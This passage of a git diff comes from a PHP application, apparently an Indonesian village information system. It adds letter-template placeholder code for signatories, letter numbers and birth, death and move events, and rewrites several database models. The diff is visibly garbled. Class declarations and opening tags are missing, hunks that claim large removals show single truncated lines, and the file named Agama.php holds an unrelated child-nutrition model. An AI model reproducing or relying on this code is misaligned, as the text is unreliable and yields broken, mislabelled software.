+ 'kode' => '[pengikut_kartu_kis]',
+ ],
+ [
+ 'nama' => 'Pengikut Pindah',
+ 'kode' => '[pengikut_pindah]',
+ ],
+ ];
+
+ $postStatis = collect($postStatis)
+ ->map(static function ($item, $key) use ($input) {
+ return [
+ 'judul' => $item['nama'],
+ 'isian' => getFormatIsian(str_replace(['[', ']'], '', $item['kode'])),
+ 'data' => $input[underscore($item['nama'], true, true)],
+ ];
+ })
+ ->toArray();
+ }
+ // Dinamis
+ $dinadata = collect($data['surat']['kode_isian'])->reject(static function ($item) {
+ return isset($item->kategori);
+ })->values();
+
+ $postDinamis = collect($dinadata)
+ ->map(static function ($item, $key) use ($input) {
+ $input_data = $input[underscore($item->nama, true, true)];
+ if ($item->tipe == 'date') {
+ $data = Carbon::parse($input_data)->format('Y-m-d');
+ } elseif ($item->tipe == 'hari-tanggal') {
+ if ($input_data != '') {
+ $day = self::get_hari($input_data);
+ $data = tgl_indo(Carbon::parse($input_data)->format('Y-m-d'), '', $day);
+ }
+ } elseif ($item->tipe == 'hari') {
+ if ($input_data != '') {
+ $data = self::get_hari($input_data);
+ }
+ } else {
+ $data = $input_data;
+ }
+
+ return [
+ 'judul' => $item->nama,
+ 'isian' => getFormatIsian(str_replace(['[', ']'], '', $item->kode)),
+ 'data' => $data,
+ ];
+ })
+ ->toArray();
+ $kategori_isianP = [];
+ $kategori_isian = collect($data['surat']['kode_isian'])->filter(static function ($item) use (&$kategori_nama, &$kategori_isianP, &$input) {
+ $kategori_isianP[$item->kategori][] = $item;
+
+ return isset($item->kategori);
+ })->values();
+ $post2['kategori'] = $postDinamis2 = collect($kategori_isian)
+ ->map(static function ($item, $key) use ($input) {
+ $nama = $item->nama;
+ $data = $input[underscore($nama, true, true) . '_' . $item->kategori];
+
+ return [
+ 'nama_kategori' => $item->kategori,
+ 'judul' => $item->nama,
+ 'isian' => getFormatIsian(str_replace(['[', ']'], '', $item->kode)),
+ 'data' => ($item->tipe == 'date') ? tgl_indo(Carbon::parse($data)->format('Y-m-d')) : $data,
+ ];
+ })
+ ->toArray();
+
+ return array_merge($postStatis, $postDinamis, $post2);
+ }
+
+ public function get_hari($tanggal)
+ {
+ $hari = Carbon::createFromFormat('d-m-Y', $tanggal)->locale('id');
+
+ return $hari->dayName;
+ }
+
+ public function getPenandatangan($input = [])
+ {
+ $nama_desa = Config::select(['nama_desa'])->first()->nama_desa;
+
+ //Data penandatangan
+ $kades = Pamong::kepalaDesa()->first();
+
+ $ttd = $input['pilih_atas_nama'];
+ $atas_nama = $kades->pamong_jabatan . ' ' . $nama_desa;
+ $jabatan = $kades->pamong_jabatan;
+ $nama_pamong = $kades->pamong_nama;
+ $nip_pamong = $kades->pamong_nip;
+ $niap_pamong = $kades->pamong_niap;
+
+ $sekdes = Pamong::ttd('a.n')->first();
+ if (preg_match('/a.n/i', $ttd)) {
+ $atas_nama = 'a.n ' . $atas_nama . '
' . $sekdes->pamong_jabatan;
+ $jabatan = $sekdes->pamong_jabatan;
+ $nama_pamong = $sekdes->pamong_nama;
+ $nip_pamong = $sekdes->pamong_nip;
+ $niap_pamong = $sekdes->pamong_niap;
+ }
+
+ if (preg_match('/u.b/i', $ttd)) {
+ $pamong = Pamong::ttd('u.b')->find($input['pamong_id']);
+ $atas_nama = 'a.n ' . $atas_nama . '
' . $sekdes->pamong_jabatan . '
u.b
' . $pamong->jabatan->nama;
+ $jabatan = $pamong->pamong_jabatan;
+ $nama_pamong = $pamong->pamong_nama;
+ $nip_pamong = $pamong->pamong_nip;
+ $niap_pamong = $pamong->pamong_niap;
+ }
+
+ if (strlen($nip_pamong) > 10) {
+ $sebutan_nip_desa = 'NIP';
+ $nip = $nip_pamong;
+ $pamong_nip = $sebutan_nip_desa . ' : ' . $nip;
+ } else {
+ $sebutan_nip_desa = setting('sebutan_nip_desa');
+ if (! empty($niap_pamong)) {
+ $nip = $niap_pamong;
+ $pamong_nip = $sebutan_nip_desa . ' : ' . $niap_pamong;
+ } else {
+ $pamong_nip = '';
+ }
+ }
+
+ return [
+ [
+ 'judul' => 'Atas Nama',
+ 'isian' => getFormatIsian('Atas_namA'),
+ 'data' => $atas_nama,
+ ],
+ [
+ 'judul' => 'Nama Pamong',
+ 'isian' => getFormatIsian('Nama_pamonG'),
+ 'data' => $nama_pamong,
+ ],
+ [
+ 'judul' => 'Jabatan Pamong',
+ 'isian' => getFormatIsian('JabataN'),
+ 'data' => $jabatan,
+ ],
+ [
+ 'judul' => 'Sebutan NIP ' . ucwords(setting('sebutan desa')),
+ 'isian' => getFormatIsian('Sebutan_nip_desA'),
+ 'data' => $sebutan_nip_desa,
+ ],
+ [
+ 'judul' => 'NIP Pamong',
+ 'isian' => getFormatIsian('Nip_pamonG'),
+ 'data' => $nip,
+ ],
+ [
+ 'judul' => 'Sebutan NIP ' . ucwords(setting('sebutan desa')) . ' & NIP Pamong',
+ 'isian' => getFormatIsian('Form_nip_pamonG'),
+ 'data' => $pamong_nip,
+ ],
+ ];
+ }
+
+ public function replceKodeIsian($data = [], $kecuali = [])
+ {
+ $result = $data['isi_surat'];
+ $newKodeIsian = [];
+ $kodeIsian = $this->getFormatedKodeIsian($data, true);
+
+ foreach ($kodeIsian as $key => $value) {
+ if (preg_match('/klg/i', $key)) {
+ for ($i = 1; $i <= 10; $i++) {
+ $newKodeIsian[] = [
+ 'isian' => str_replace('x_', "{$i}_", $key),
+ 'data' => $value[$i - 1] ?? '',
+ ];
+ }
+ } else {
+ $newKodeIsian[] = [
+ 'isian' => $key,
+ 'data' => $value,
+ ];
+ }
+ }
+
+ $newKodeIsian = array_combine(array_column($newKodeIsian, 'isian'), array_column($newKodeIsian, 'data'));
+
+ if ((int) $data['surat']['masa_berlaku'] == 0) {
+ $result = str_replace('[mulai_berlaku] s/d [berlaku_sampai]', '-', $result);
+ }
+
+ foreach ($newKodeIsian as $key => $value) {
+ if (in_array($key, $kecuali)) {
+ continue;
+ }
+ if (in_array($key, ['[atas_nama]', '[format_nomor_surat]'])) {
+ $result = str_replace($key, $value, $result);
+ }
+ if (preg_match('/pengikut_surat/i', $key)) {
+ $result = str_replace($key, $data['pengikut_surat'] ?? '', $result);
+ }
+ if (preg_match('/pengikut_kartu_kis/i', $key)) {
+ $result = str_replace($key, $data['pengikut_kartu_kis'] ?? '', $result);
+ }
+ if (preg_match('/pengikut_kis/i', $key)) {
+ $result = str_replace($key, $data['pengikut_kis'] ?? '', $result);
+ }
+ if (preg_match('/pengikut_pindah/i', $key)) {
+ $result = str_replace($key, $data['pengikut_pindah'] ?? '', $result);
+ } else {
+ $result = case_replace($key, $value, $result);
+ }
+ }
+
+ // if (isset($data['pengikut_surat'])) {
+ // log_message('error',"pengikut_surat ". $data['pengikut_surat']);
+ // $result = str_ireplace('[Pengikut_suraT]', $data['pengikut_surat'], $result);
+ // }
+
+ return $result;
+ }
+
+ /**
+ * Kode isian nomor_surat bisa ditentukan panjangnya, diisi dengan '0' di sebelah kiri
+ * Misalnya [nomor_surat, 3] akan menghasilkan seperti '012'
+ *
+ * @param mixed|null $nomor
+ * @param mixed $format
+ */
+ public function substitusiNomorSurat($nomor = null, $format = '')
+ {
+ // TODO : Cek jika null, cari no surat terakhir berdasarkan kelompok
+ $format = str_replace('[nomor_surat]', "{$nomor}", $format);
+ if (preg_match_all('/\[nomor_surat,\s*\d+\]/', $format, $matches)) {
+ foreach ($matches[0] as $match) {
+ $parts = explode(',', $match);
+ $panjang = (int) trim(rtrim($parts[1], ']'));
+ $nomor_panjang = str_pad("{$nomor}", $panjang, '0', STR_PAD_LEFT);
+ $format = str_replace($match, $nomor_panjang, $format);
+ }
+ }
+
+ return $format;
+ }
+
+ /**
+ * Daftar penandatangan dan pamongnya
+ */
+ public function formPenandatangan()
+ {
+ $atas_nama = [];
+ $config = identitas();
+ $penandatangan = Pamong::penandaTangan()->get();
+
+ // Kepala Desa
+ $kades = Pamong::kepalaDesa()->first();
+ if ($kades) {
+ $atas_nama[''] = $kades->pamong_jabatan . ' ' . $config->nama_desa;
+
+ // Sekretaris Desa
+ $sekdes = Pamong::ttd('a.n')->first();
+ if ($sekdes) {
+ $atas_nama['a.n'] = 'a.n ' . $kades->pamong_jabatan . ' ' . $config->nama_desa;
+
+ // Pamogn selain Kepala Desa dan Sekretaris Desa
+ $pamong = Pamong::ttd('u.b')->exists();
+ if ($pamong) {
+ $atas_nama['u.b'] = 'u.b ' . $sekdes->pamong_jabatan . ' ' . $config->nama_desa;
+ }
+ }
+
+ return [
+ 'penandatangan' => $penandatangan,
+ 'atas_nama' => $atas_nama,
+ ];
+ }
+ session_error(', ' . setting('sebutan_kepala_desa') . ' belum ditentukan.');
+ redirect('pengurus');
+ }
+
+ public function getDaftarLampiran()
+ {
+ $lampiran = [];
+ $daftar_lampiran_sistem = glob(DEFAULT_LOKASI_LAMPIRAN_SURAT . '*', GLOB_ONLYDIR);
+ $daftar_lampiran_desa = glob(LOKASI_LAMPIRAN_SURAT_DESA . '*', GLOB_ONLYDIR);
+ $daftar_lampiran = array_merge($daftar_lampiran_desa, $daftar_lampiran_sistem);
+
+ foreach ($daftar_lampiran as $value) {
+ if (file_exists(FCPATH . $value . '/view.php')) {
+ $lampiran[] = kode_format(basename($value));
+ }
+ }
+
+ return collect($lampiran)->unique()->sort()->values();
+ }
+
+ public static function getKodeIsianNonWarga()
+ {
+ return json_encode([
+ [
+ 'tipe' => 'text',
+ 'kode' => '[form_nama_non_warga]',
+ 'nama' => 'Nama Non Warga',
+ 'deskripsi' => 'Masukkan Nama',
+ 'atribut' => 'class="required nama"',
+ 'statis' => true,
+ ],
+ [
+
+ 'tipe' => 'text',
+ 'kode' => '[form_nik_non_warga]',
+ 'nama' => 'NIK Non Warga',
+ 'deskripsi' => 'Masukkan NIK',
+ 'atribut' => 'class="required nik"',
+ 'statis' => true,
+ ],
+ ]);
+ }
+}
diff --git a/app/Libraries/TinyMCE/KodeIsianPeristiwa.php b/app/Libraries/TinyMCE/KodeIsianPeristiwa.php
new file mode 100644
index 000000000..b43d06eef
--- /dev/null
+++ b/app/Libraries/TinyMCE/KodeIsianPeristiwa.php
@@ -0,0 +1,232 @@
+statusDasar = $statusDasar;
+ $this->logPeristiwa = LogPenduduk::where('id_pend', $idPenduduk)->latest()->first();
+ }
+
+ public static function get($idPenduduk, $statusDasar)
+ {
+ $kodeIsian = new self($idPenduduk, $statusDasar);
+
+ return $kodeIsian->kodeIsian();
+ }
+
+ public function kodeIsian()
+ {
+ switch ($this->statusDasar) {
+ case LogPenduduk::BARU_LAHIR:
+ $data = $this->getLahir($this->logPeristiwa);
+ break;
+
+ case LogPenduduk::MATI:
+ $data = $this->getKematian($this->logPeristiwa);
+ break;
+
+ case LogPenduduk::PINDAH_KELUAR:
+ $data = $this->getPindah($this->logPeristiwa);
+ break;
+
+ case LogPenduduk::HILANG:
+ $data = $this->getHilang($this->logPeristiwa);
+ break;
+
+ default:
+ $data = [];
+ }
+
+ $lainnya = $this->getLainnya($this->logPeristiwa);
+
+ return array_merge($data, $lainnya);
+ }
+
+ private function getLahir($peristiwa)
+ {
+ return [
+ [
+ 'judul' => 'Hari Kelahiran',
+ 'isian' => getFormatIsian('Hari_kelahiranN'),
+ 'data' => hari($peristiwa->tgl_peristiwa),
+ ],
+ [
+ 'judul' => 'Tanggal Kelahiran',
+ 'isian' => getFormatIsian('Tanggal_kelahiranN'),
+ 'data' => tgl_indo($peristiwa->tgl_peristiwa),
+ ],
+ [
+ 'judul' => 'Jam Kelahiran',
+ 'isian' => getFormatIsian('Jam_kelahiranN'),
+ 'data' => $peristiwa->penduduk->waktu_lahir,
+ ],
+ [
+ 'judul' => 'Tempat Dilahirkan',
+ 'isian' => getFormatIsian('Tempat_dilahirkanN'),
+ 'data' => $peristiwa->penduduk->dilahirkan,
+ ],
+ [
+ 'judul' => 'Tempat Kelahiran',
+ 'isian' => getFormatIsian('Tempat_kelahiranN'),
+ 'data' => $peristiwa->penduduk->tempatlahir,
+ ],
+ [
+ 'judul' => 'Jenis Kelahiran',
+ 'isian' => getFormatIsian('Jenis_kelahiranN'),
+ 'data' => $peristiwa->penduduk->jenisLahir,
+ ],
+ [
+ 'judul' => 'Kelahiran Anak Ke',
+ 'isian' => getFormatIsian('Kelahiran_anaK'),
+ 'data' => $peristiwa->penduduk->kelahiran_anak_ke,
+ ],
+ [
+ 'judul' => 'Penolong Kelahiran',
+ 'isian' => getFormatIsian('Penolong_kelahiranN'),
+ 'data' => $peristiwa->penduduk->penolongLahir,
+ ],
+ [
+ 'judul' => 'Berat Bayi',
+ 'isian' => getFormatIsian('Berat_bayI'),
+ 'data' => $peristiwa->penduduk->berat_lahir,
+ ],
+ [
+ 'judul' => 'Panjang Bayi',
+ 'isian' => getFormatIsian('Panjang_bayI'),
+ 'data' => $peristiwa->penduduk->panjang_lahir,
+ ],
+ ];
+ }
+
+ private function getKematian($peristiwa)
+ {
+ return [
+ [
+ 'judul' => 'Hari Kematian',
+ 'isian' => getFormatIsian('Hari_kematiaN'),
+ 'data' => hari($peristiwa->tgl_peristiwa),
+ ],
+ [
+ 'judul' => 'Tanggal Kematian',
+ 'isian' => getFormatIsian('Tanggal_kematiaN'),
+ 'data' => tgl_indo($peristiwa->tgl_peristiwa),
+ ],
+ [
+ 'judul' => 'Jam Kematian',
+ 'isian' => getFormatIsian('Jam_kematiaN'),
+ 'data' => $peristiwa->jam_mati,
+ ],
+ [
+ 'judul' => 'Tempat Kematian',
+ 'isian' => getFormatIsian('Tempat_kematiaN'),
+ 'data' => $peristiwa->meninggal_di,
+ ],
+ [
+ 'judul' => 'Penyebab Kematian',
+ 'isian' => getFormatIsian('Penyebab_kematiaN'),
+ 'data' => $peristiwa->penyebab_kematian,
+ ],
+ [
+ 'judul' => 'Penolong Kematian',
+ 'isian' => getFormatIsian('Penolong_kematiaN'),
+ 'data' => $peristiwa->yang_menerangkan,
+ ],
+ ];
+ }
+
+ private function getPindah($peristiwa)
+ {
+ return [
+ [
+ 'judul' => 'Hari Pindah',
+ 'isian' => getFormatIsian('Hari_pindaH'),
+ 'data' => hari($peristiwa->tgl_peristiwa),
+ ],
+ [
+ 'judul' => 'Tanggal Pindah',
+ 'isian' => getFormatIsian('Tanggal_pindaH'),
+ 'data' => tgl_indo($peristiwa->tgl_peristiwa),
+ ],
+ [
+ 'judul' => 'Alamat Tujuan',
+ 'isian' => getFormatIsian('Alamat_tujuaN'),
+ 'data' => $peristiwa->alamat_tujuan,
+ ],
+ ];
+ }
+
+ private function getHilang($peristiwa)
+ {
+ return [
+ [
+ 'judul' => 'Hari Hilang',
+ 'isian' => getFormatIsian('Hari_hilanG'),
+ 'data' => hari($peristiwa->tgl_peristiwa),
+ ],
+ [
+ 'judul' => 'Tanggal Hilang',
+ 'isian' => getFormatIsian('Tanggal_hilanG'),
+ 'data' => tgl_indo($peristiwa->tgl_peristiwa),
+ ],
+ ];
+ }
+
+ private function getLainnya($peristiwa)
+ {
+ return [
+ [
+ 'judul' => 'Tanggal Lapor',
+ 'isian' => getFormatIsian('Tanggal_lapoR'),
+ 'data' => tgl_indo($peristiwa->tgl_lapor),
+ ],
+ [
+ 'judul' => 'Catatan',
+ 'isian' => getFormatIsian('CatataN'),
+ 'data' => $peristiwa->catatan,
+ ],
+ ];
+ }
+}
diff --git a/app/Models/Agama.php b/app/Models/Agama.php
index bf4295c3e..43fb5aca1 100644
--- a/app/Models/Agama.php
+++ b/app/Models/Agama.php
@@ -1,369 +1,50 @@
- 1,
+ 'simbol' => 'N',
+ 'nama' => 'Sehat / Normal (N)',
+ ],
+ [
+ 'id' => 2,
+ 'simbol' => 'GK',
+ 'nama' => 'Gizi Kurang (GK)',
+ ],
+ [
+ 'id' => 3,
+ 'simbol' => 'GB',
+ 'nama' => 'Gizi Buruk (GB)',
+ ],
+ [
+ 'id' => 4,
+ 'simbol' => 'S',
+ 'nama' => 'Stunting (S)',
+ ],
+ ];
+
+ /**
+ * Static data status tikar anak
+ *
+ * @var array
+ */
+ public const STATUS_TIKAR_ANAK = [
+ [
+ 'id' => 1,
+ 'simbol' => 'TD',
+ 'nama' => 'Tidak Diukur (TD)',
+ ],
+ [
+ 'id' => 2,
+ 'simbol' => 'M',
+ 'nama' => 'Merah (M)',
+ ],
+ [
+ 'id' => 3,
+ 'simbol' => 'K',
+ 'nama' => 'Kuning (K)',
+ ],
+ [
+ 'id' => 4,
+ 'simbol' => 'H',
+ 'nama' => 'Hijau (H)',
+ ],
+ ];
+
+ /**
+ * Static data status imunisasi campak
+ *
+ * @var array
+ */
+ public const STATUS_IMUNISASI_CAMPAK = [
+ 1 => 'Belum',
+ 2 => 'Sudah',
+ ];
+
+ /**
+ * The table associated with the model.
+ *
+ * @var string
+ */
+ protected $table = 'bulanan_anak';
+
+ /**
+ * The table update parameter.
+ *
+ * @var string
+ */
+ public $primaryKey = 'id_bulanan_anak';
+
+ /**
+ * The guarded with the model.
+ *
+ * @var array
+ */
+ protected $guarded = [];
+
+ public function kia()
+ {
+ return $this->belongsTo(KIA::class, 'kia_id');
+ }
+
+ public function scopeFilter($query, array $filters)
+ {
+ if (! empty($filters['bulan'])) {
+ $query->whereMonth('bulanan_anak.created_at', $filters['bulan']);
+ }
+
+ if (! empty($filters['tahun'])) {
+ $query->whereYear('bulanan_anak.created_at', $filters['tahun']);
+ }
+
+ if (! empty($filters['posyandu'])) {
+ $query->where('posyandu_id', $filters['posyandu']);
+ }
+
+ return $query;
+ }
+}
diff --git a/app/Models/AnggotaGrup.php b/app/Models/AnggotaGrup.php
index ae52c2cfd..1d570504d 100644
--- a/app/Models/AnggotaGrup.php
+++ b/app/Models/AnggotaGrup.php
@@ -1,417 +1,121 @@
-hasOne(GrupKontak::class, 'id_grup', 'id_grup');
+ }
+
+ /**
+ * Define a one-to-one relationship.
+ *
+ * @return \Illuminate\Database\Eloquent\Relations\hasOne
+ */
+ public function daftarKontak()
+ {
+ return $this->hasOne(DaftarKontak::class, 'id_kontak', 'id_kontak');
+ }
+
+ /**
+ * Define a one-to-one relationship.
+ *
+ * @return \Illuminate\Database\Eloquent\Relations\hasOne
+ */
+ public function penduduk()
+ {
+ return $this->hasOne(Penduduk::class, 'id', 'id_penduduk')->status();
+ }
+
+ public function scopeDataAnggota($query)
+ {
+ return $query
+ ->leftJoin('kontak as k', 'anggota_grup_kontak.id_kontak', '=', 'k.id_kontak')
+ ->leftJoin('tweb_penduduk as p', static function ($penduduk) {
+ $penduduk->on('anggota_grup_kontak.id_penduduk', '=', 'p.id')
+ ->where('p.status_dasar', '=', 1);
+ })
+ ->select(
+ 'anggota_grup_kontak.*',
+ DB::raw('(CASE WHEN anggota_grup_kontak.id_kontak IS NULL THEN p.nama ELSE k.nama END) AS nama'),
+ DB::raw('(CASE WHEN anggota_grup_kontak.id_kontak IS NULL THEN p.telepon ELSE k.telepon END) AS telepon'),
+ DB::raw('(CASE WHEN anggota_grup_kontak.id_kontak IS NULL THEN p.email ELSE k.email END) AS email'),
+ DB::raw('(CASE WHEN anggota_grup_kontak.id_kontak IS NULL THEN p.telegram ELSE k.telegram END) AS telegram'),
+ DB::raw('(CASE WHEN anggota_grup_kontak.id_kontak IS NULL THEN p.hubung_warga ELSE k.hubung_warga END) AS hubung_warga'),
+ );
+ }
+}
diff --git a/app/Models/Anjungan.php b/app/Models/Anjungan.php
index 6bd056510..0294a4759 100644
--- a/app/Models/Anjungan.php
+++ b/app/Models/Anjungan.php
@@ -1,393 +1,121 @@
-
+ */
+ protected $fillable = [
+ 'ip_address',
+ 'mac_address',
+ 'id_pengunjung',
+ 'keterangan',
+ 'status',
+ 'status_alasan',
+ 'tipe',
+ 'printer_ip',
+ 'printer_port',
+ 'keyboard',
+ 'created_by',
+ 'updated_by',
+ ];
+
+ /**
+ * The attributes that should be cast.
+ *
+ * @var array
+ */
+ protected $casts = [
+ 'status' => 'boolean',
+ 'keyboard' => 'boolean',
+ ];
+
+ /**
+ * The relations to eager load on every query.
+ *
+ * @var array
+ */
+ protected $with = [
+ // 'createdBy',
+ // 'updatedBy',
+ ];
+
+ /**
+ * Define a one-to-one relationship.
+ *
+ * @return \Illuminate\Database\Eloquent\Relations\hasOne
+ */
+ public function createdBy()
+ {
+ return $this->hasOne(User::class, 'id', 'created_by');
+ }
+
+ /**
+ * Define a one-to-one relationship.
+ *
+ * @return \Illuminate\Database\Eloquent\Relations\hasOne
+ */
+ public function updatedBy()
+ {
+ return $this->hasOne(User::class, 'id', 'updated_by');
+ }
+
+ public function scopeTipe($query, $tipe = 1)
+ {
+ return $query->where('tipe', $tipe);
+ }
+}
diff --git a/app/Models/AnjunganMenu.php b/app/Models/AnjunganMenu.php
index 7b49d9706..1e334f748 100644
--- a/app/Models/AnjunganMenu.php
+++ b/app/Models/AnjunganMenu.php
@@ -1,425 +1,102 @@
-
+ */
+ protected $fillable = [
+ 'nama',
+ 'icon',
+ 'link',
+ 'link_tipe',
+ 'urut',
+ 'status',
+ 'created_by',
+ 'updated_by',
+ ];
+
+ /**
+ * The relations to eager load on every query.
+ *
+ * @var array
+ */
+ protected $with = [
+ // 'createdBy',
+ // 'updatedBy',
+ ];
+
+ /**
+ * Define a one-to-one relationship.
+ *
+ * @return \Illuminate\Database\Eloquent\Relations\hasOne
+ */
+ public function createdBy()
+ {
+ return $this->hasOne(User::class, 'id', 'created_by');
+ }
+
+ /**
+ * Define a one-to-one relationship.
+ *
+ * @return \Illuminate\Database\Eloquent\Relations\hasOne
+ */
+ public function updatedBy()
+ {
+ return $this->hasOne(User::class, 'id', 'updated_by');
+ }
+}
diff --git a/app/Models/Area.php b/app/Models/Area.php
index 4f54d2773..4f945bc66 100644
--- a/app/Models/Area.php
+++ b/app/Models/Area.php
@@ -1,361 +1,111 @@
-attributes['foto'];
+
+ if (file_exists(FCPATH . $foto)) {
+ return $foto;
+ }
+
+ return null;
+ }
+
+ /**
+ * Getter untuk foto sedang.
+ *
+ * @return string
+ */
+ public function getFotoSedangAttribute()
+ {
+ $foto = LOKASI_FOTO_AREA . 'sedang_' . $this->attributes['foto'];
+
+ if (file_exists(FCPATH . $foto)) {
+ return $foto;
+ }
+
+ return null;
+ }
+}
diff --git a/app/Models/Artikel.php b/app/Models/Artikel.php
index 97f170654..40846f362 100644
--- a/app/Models/Artikel.php
+++ b/app/Models/Artikel.php
@@ -1,385 +1,213 @@
-whereNotIn('id_kategori', static::NOT_IN_ARTIKEL);
+ }
+
+ /**
+ * Scope a query to only enable article.
+ *
+ * @param Builder $query
+ *
+ * @return Builder
+ */
+ public function scopeEnable($query)
+ {
+ return $query->where('enabled', static::ENABLE);
+ }
+
+ /**
+ * Scope a query to only headline article.
+ *
+ * @param Builder $query
+ *
+ * @return Builder
+ */
+ public function scopeHeadline($query)
+ {
+ return $query->where('headline', static::HEADLINE);
+ }
+
+ /**
+ * Scope a query to only archive article.
+ *
+ * @param Builder $query
+ *
+ * @return Builder
+ */
+ public function scopeArsip($query)
+ {
+ $kategori = json_decode(preg_replace('/\\\\/', '', setting('anjungan_artikel')));
+
+ $artikel = $query->select(Artikel::raw('*, YEAR(tgl_upload) AS thn, MONTH(tgl_upload) AS bln, DAY(tgl_upload) AS hri'))
+ ->where([['enabled', 1], ['tgl_upload', '<', date('Y-m-d H:i:s')]]);
+
+ if (null !== $kategori) {
+ return $artikel->whereIn('id_kategori', $kategori);
+ }
+
+ return $artikel;
+ }
+
+ /**
+ * Define an inverse one-to-one or many relationship.
+ *
+ * @return BelongsTo
+ */
+ public function author()
+ {
+ return $this->belongsTo(User::class, 'id_user');
+ }
+
+ /**
+ * Define an inverse one-to-one or many relationship.
+ *
+ * @return BelongsTo
+ */
+ public function category()
+ {
+ return $this->belongsTo(Kategori::class, 'id_kategori');
+ }
+
+ /**
+ * Define a one-to-many relationship.
+ *
+ * @return HasMany
+ */
+ public function comments()
+ {
+ return $this->hasMany(Komentar::class, 'id_artikel');
+ }
+
+ public function getPerkiraanMembacaAttribute()
+ {
+ return Str::perkiraanMembaca($this->isi);
+ }
+
+ /**
+ * Getter untuk menambahkan url gambar.
+ *
+ * @return string
+ */
+ public function getUrlGambarAttribute()
+ {
+ // return $this->gambar
+ // ? config('filesystems.disks.ftp.url') . "/desa/upload/artikel/sedang_{$this->gambar}"
+ // : '';
+ }
+
+ /**
+ * Getter untuk menambahkan url gambar.
+ *
+ * @return string
+ */
+ public function getUrlGambar1Attribute()
+ {
+ // return $this->gambar1
+ // ? config('filesystems.disks.ftp.url') . "/desa/upload/artikel/sedang_{$this->gambar1}"
+ // : '';
+ }
+
+ /**
+ * Getter untuk menambahkan url gambar.
+ *
+ * @return string
+ */
+ public function getUrlGambar2Attribute()
+ {
+ // return $this->gambar2
+ // ? config('filesystems.disks.ftp.url') . "/desa/upload/artikel/sedang_{$this->gambar2}"
+ // : '';
+ }
+
+ /**
+ * Getter untuk menambahkan url gambar.
+ *
+ * @return string
+ */
+ public function getUrlGambar3Attribute()
+ {
+ // return $this->gambar3
+ // ? config('filesystems.disks.ftp.url') . "/desa/upload/artikel/sedang_{$this->gambar3}"
+ // : '';
+ }
+}
diff --git a/app/Models/Bantuan.php b/app/Models/Bantuan.php
index 5e43e683f..5fdbd3989 100644
--- a/app/Models/Bantuan.php
+++ b/app/Models/Bantuan.php
@@ -1,385 +1,108 @@
- 'boolean',
+ ];
+
+ /**
+ * Define a one-to-many relationship.
+ *
+ * @return \Illuminate\Database\Eloquent\Relations\HasMany
+ */
+ public function peserta()
+ {
+ return $this->hasMany(BantuanPeserta::class, 'program_id');
+ }
+
+ /**
+ * Scope query untuk status bantuan
+ *
+ * @param Builder $query
+ * @param mixed $value
+ *
+ * @return Builder
+ */
+ public function scopeStatus($query, $value = 1)
+ {
+ return $query->where('status', $value);
+ }
+
+ /**
+ * Scope config_id, dipisah untuk kebutuhan OpenKab.
+ *
+ * @param mixed $query
+ *
+ * @return Builder
+ */
+ public function scopeConfigId($query)
+ {
+ return $query->where('config_id', identitas('id'))->orWhereNull('config_id');
+ }
+}
diff --git a/app/Models/BantuanPeserta.php b/app/Models/BantuanPeserta.php
index c6ac1b4e7..0bf35d72f 100644
--- a/app/Models/BantuanPeserta.php
+++ b/app/Models/BantuanPeserta.php
@@ -1,441 +1,85 @@
-belongsTo(Bantuan::class, 'program_id');
+ }
+
+ /**
+ * Scope query untuk peserta.
+ *
+ * @param Builder $query
+ *
+ * @return Builder
+ */
+ public function scopePeserta($query)
+ {
+ // return $query->where('peserta', auth('jwt')->user()->penduduk->nik);
+ }
+}
diff --git a/app/Models/BaseModel.php b/app/Models/BaseModel.php
index 4adda1424..fc2b32f58 100644
--- a/app/Models/BaseModel.php
+++ b/app/Models/BaseModel.php
@@ -1,401 +1,78 @@
-toArray() : $id;
+
+ if (is_array($id)) {
+ if (count($result) === count(array_unique($id))) {
+ return $result;
+ }
+ } elseif (null !== $result) {
+ return $result;
+ }
+
+ return show_404();
+ }
+
+ /**
+ * {@inheritDoc}
+ */
+ public static function firstOrFail($columns = ['*'])
+ {
+ if (null !== ($model = self::first($columns))) {
+ return $model;
+ }
+
+ return show_404();
+ }
+}
diff --git a/app/Models/BukuKeperluan.php b/app/Models/BukuKeperluan.php
index 283a5e668..6af120002 100644
--- a/app/Models/BukuKeperluan.php
+++ b/app/Models/BukuKeperluan.php
@@ -1,433 +1,69 @@
- 'date:Y-m-d H:i:s',
+ 'updated_at' => 'date:Y-m-d H:i:s',
+ ];
+}
diff --git a/app/Models/BukuKepuasan.php b/app/Models/BukuKepuasan.php
index 96250e531..d8d90f9e8 100644
--- a/app/Models/BukuKepuasan.php
+++ b/app/Models/BukuKepuasan.php
@@ -1,425 +1,99 @@
- 'date:Y-m-d H:i:s',
+ 'updated_at' => 'date:Y-m-d H:i:s',
+ ];
+
+ /**
+ * Getter untuk jawaban
+ *
+ * @return string
+ */
+ public function getJawabanAttribute()
+ {
+ return JawabanKepuasanEnum::all()[$this->id_jawaban];
+ }
+
+ /**
+ * Define a one-to-one relationship.
+ *
+ * @return \Illuminate\Database\Eloquent\Relations\hasOne
+ */
+ public function tamu()
+ {
+ return $this->hasOne(BukuTamu::class, 'id', 'id_nama');
+ }
+}
diff --git a/app/Models/BukuPertanyaan.php b/app/Models/BukuPertanyaan.php
index 3b43bfe49..a7f0c1486 100644
--- a/app/Models/BukuPertanyaan.php
+++ b/app/Models/BukuPertanyaan.php
@@ -1,441 +1,59 @@
-hasOne(Sex::class, 'id', 'jenis_kelamin');
+ }
+
+ /**
+ * Getter untuk url_foto
+ *
+ * @return string
+ */
+ public function getUrlFotoAttribute()
+ {
+ $lokasi = LOKASI_FOTO_BUKU_TAMU . $this->foto;
+
+ if (null === $this->foto || ! file_exists(FCPATH . $lokasi)) {
+ if ($this->jenis_kelamin == JenisKelaminEnum::LAKI_LAKI) {
+ $lokasi = FOTO_DEFAULT_PRIA;
+ } else {
+ $lokasi = FOTO_DEFAULT_WANITA;
+ }
+ } else {
+ $lokasi = base_url($lokasi);
+ }
+
+ return $lokasi;
+ }
+
+ public function scopeFilters($query, array $filters)
+ {
+ if (! empty($filters['tanggal'])) {
+ [$awal, $akhir] = explode(' - ', $filters['tanggal']);
+ $query->whereBetween(DB::raw('DATE(created_at)'), [$awal, $akhir]);
+ }
+
+ return $query;
+ }
+
+ /**
+ * Setter untuk bidang
+ *
+ * @param mixed $value
+ */
+ public function setBidangAttribute($value)
+ {
+ $this->attributes['bidang'] = RefJabatan::find($value)->nama ?? null;
+ }
+
+ /**
+ * Setter untuk keperluan
+ *
+ * @param mixed $value
+ */
+ public function setKeperluanAttribute($value)
+ {
+ $this->attributes['keperluan'] = BukuKeperluan::find($value)->keperluan ?? null;
+ }
+}
